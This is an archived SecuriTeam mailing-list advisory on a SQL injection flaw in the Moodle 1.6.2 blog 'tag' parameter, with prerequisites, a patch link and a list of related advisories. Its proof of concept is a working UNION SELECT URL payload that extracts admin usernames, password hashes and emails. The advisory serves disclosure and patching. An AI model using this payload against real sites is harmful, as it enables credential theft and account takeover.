[UNIX] Moodle tag Parameter SQL Injection



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Moodle tag Parameter SQL Injection
------------------------------------------------------------------------


SUMMARY

A security vulnerability was recently discovered in all versions of Moodle
1.6 and later that allows SQL injection.

DETAILS

Vulnerable Systems:
* Moodle version 1.6.2

Immune Systems:
* Moodle CVS

Prequisites:
* The moodle blog "module" must be enabled
* Guest access to the blog must be enabled

Proof of Concept:
/blog/index.php?tag=x%2527 UNION SELECT %2527-1 UNION SELECT
1,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email FROM
mdl_user RIGHT JOIN mdl_user_admins ON
mdl_user.id%3dmdl_user_admins.userid UNION SELECT
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM mdl_post p,
mdl_blog_tag_instance bt, mdl_user u WHERE 1%3D0%2527,1,1,%25271

Solution:
Update your servers using CVS as soon as possible, or edit the file
blog/index.php in your copy manually as described here:
<http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3>
http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3


ADDITIONAL INFORMATION

The information has been provided by <mailto:disfigure@xxxxxxxxx>
disfigure.
The original article can be found at:
<http://w4ck1ng.com/board/showthread.php?t=1305>
http://w4ck1ng.com/board/showthread.php?t=1305



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Moodle Cross Site Scripting Vulnerability (post.php)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Moodle suffers from a cross-site scripting vulnerability due to handling ... The cross-site scripting vulnerability is caused by un-filtering the ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [EXPL] phpBB Remote PHP Code Execution (viewtopic.php 2)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The following exploit code utilizes a vulnerability in phpBB to cause ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [EXPL] 3Com FTP Server Buffer Overflow (CD)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... overflow in its parsing of the 'CD' command. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [TOOL] Automagic SQL Injector
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Automagic SQL Injector is part of the Sec-1 Exploit Arsenal provided ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [EXPL] TinyWeb Server DoS Exploit
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)